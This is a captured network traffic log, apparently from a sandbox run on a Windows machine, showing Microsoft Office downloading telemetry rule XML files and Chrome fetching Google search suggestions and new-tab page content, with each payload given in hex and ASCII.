Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:32 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081632Z-178bfbc474bq2pr7hC1NYCkfgg00000004e0000000001709 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:32 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:32 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081632Z-174c587ffdfb74xqhC1TEBhabc00000002m000000000eudu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:32 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:32 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081632Z-174c587ffdfcj798hC1TEB9bq400000002w0000000004bk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 63c277cf-401e-0029-7f06-3d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081632Z-178bfbc474bvjk8shC1NYC83ns00000003y000000000d3d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49739	172.217.21.36	443	936	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:33 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 08:16:34 UTC	1367	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:34 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-jNBAl45Rhj0AmSVNfGGRLQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 08:16:34 UTC	23	IN	Data Raw: 64 62 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 61 6e 61 64 61 20 Data Ascii: db1)]}'["",["canada
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 64 72 79 20 67 69 6e 67 65 72 20 61 6c 65 20 6c 61 77 73 75 69 74 22 2c 22 67 6c 61 64 69 61 74 6f 72 20 69 69 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 62 6f 73 74 6f 6e 20 63 65 6c 74 69 63 73 20 77 61 73 68 69 6e 67 74 6f 6e 20 77 69 7a 61 72 64 73 22 2c 22 72 65 61 6c 20 64 65 62 72 69 64 20 61 6c 74 65 72 6e 61 74 69 76 65 73 22 2c 22 65 61 72 6c 79 20 61 63 63 65 73 73 20 70 6f 65 32 22 2c 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 77 68 65 6e 22 2c 22 6e 65 77 20 70 65 70 73 69 20 68 6f 6c 69 64 61 79 20 66 6c 61 76 6f 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 Data Ascii: dry ginger ale lawsuit","gladiator ii","weather forecast snow storm","boston celtics washington wizards","real debrid alternatives","early access poe2","spotify wrapped when","new pepsi holiday flavor"],["","","","","","","",""],[],{"google:clientdata":{"
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 4d 55 78 4a 52 6b 35 53 59 31 68 48 4e 47 45 30 4f 47 6c 4e 52 32 31 32 5a 30 68 48 4d 58 4d 72 57 6e 5a 57 64 30 4e 71 59 30 35 5a 4b 7a 42 50 51 30 64 6e 52 6e 6c 47 4e 44 49 7a 4f 46 46 4f 64 6d 6c 4f 63 30 74 61 54 58 56 78 53 6c 6b 78 62 48 42 44 64 46 4a 49 64 6c 70 72 4d 6b 38 7a 53 46 6b 34 4e 32 4e 7a 59 58 70 58 64 47 70 75 53 33 42 42 64 57 31 4f 51 56 51 34 4e 30 68 79 4f 48 4e 45 4e 55 68 58 55 7a 42 6b 5a 45 63 77 57 6e 56 77 57 57 46 73 53 58 56 44 51 57 49 76 63 47 64 31 54 30 35 53 52 6d 4d 77 63 6d 31 6c 64 44 46 55 5a 54 5a 4d 62 6d 52 71 64 6c 6b 72 62 55 5a 57 57 45 70 32 53 57 4a 42 64 6d 45 31 4d 6a 52 5a 57 6c 5a 46 64 46 5a 56 65 46 4a 56 4e 6b 64 50 54 30 4e 4e 59 57 64 57 56 47 51 76 52 57 34 77 4b 31 64 42 52 45 68 56 56 6b 73 Data Ascii: MUxJRk5SY1hHNGE0OGlNR212Z0hHMXMrWnZWd0NqY05ZKzBPQ0dnRnlGNDIzOFFOdmlOc0taTXVxSlkxbHBDdFJIdlprMk8zSFk4N2NzYXpXdGpuS3BBdW1OQVQ4N0hyOHNENUhXUzBkZEcwWnVwWWFsSXVDQWIvcGd1T05SRmMwcm1ldDFUZTZMbmRqdlkrbUZWWEp2SWJBdmE1MjRZWlZFdFZVeFJVNkdPT0NNYWdWVGQvRW4wK1dBREhVVks
2024-11-23 08:16:34 UTC	709	IN	Data Raw: 6b 34 4b 32 56 4b 56 45 77 78 4d 48 42 4b 56 58 42 7a 4e 6e 46 6b 55 46 45 7a 4d 6b 68 73 61 54 64 35 62 58 56 58 63 48 41 30 52 45 6c 4b 56 45 5a 49 52 55 35 6a 55 54 4e 59 56 43 74 5a 5a 30 56 70 4e 56 56 6e 53 44 52 59 65 47 70 4d 63 6c 4e 4f 4e 47 55 33 57 57 35 79 53 55 74 48 61 6e 46 77 54 79 74 72 55 6c 4e 71 52 6c 4e 7a 5a 48 6c 69 51 54 68 69 57 46 41 33 57 56 45 31 65 6d 31 45 56 6a 68 70 63 45 56 71 55 6a 41 77 55 6a 6c 34 54 44 64 72 4c 33 64 45 56 47 56 51 4d 44 67 33 61 31 6f 31 53 56 64 36 56 31 4a 74 53 58 5a 4a 56 47 4e 6e 56 7a 4d 72 4e 31 6c 44 56 30 73 72 51 31 6b 30 4d 48 4a 5a 52 44 6c 46 4b 31 56 78 57 46 49 76 4c 7a 6c 72 50 54 6f 4d 52 32 78 68 5a 47 6c 68 64 47 39 79 49 45 6c 4a 53 67 63 6a 59 54 4d 32 4e 6a 4e 6a 55 6a 74 6e 63 Data Ascii: k4K2VKVEwxMHBKVXBzNnFkUFEzMkhsaTd5bXVXcHA0RElKVEZIRU5jUTNYVCtZZ0VpNVVnSDRYeGpMclNONGU3WW5ySUtHanFwTytrUlNqRlNzZHliQThiWFA3WVE1em1EVjhpcEVqUjAwUjl4TDdrL3dEVGVQMDg3a1o1SVd6V1JtSXZJVGNnVzMrN1lDV0srQ1k0MHJZRDlFK1VxWFIvLzlrPToMR2xhZGlhdG9yIElJSgcjYTM2NjNjUjtnc
2024-11-23 08:16:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49740	172.217.21.36	443	936	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:33 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49742	172.217.21.36	443	936	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:33 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 08:16:34 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 08:16:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 08:16:34 UTC	372	IN	Data Raw: 33 35 38 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 358c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 08:16:34 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 37 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: 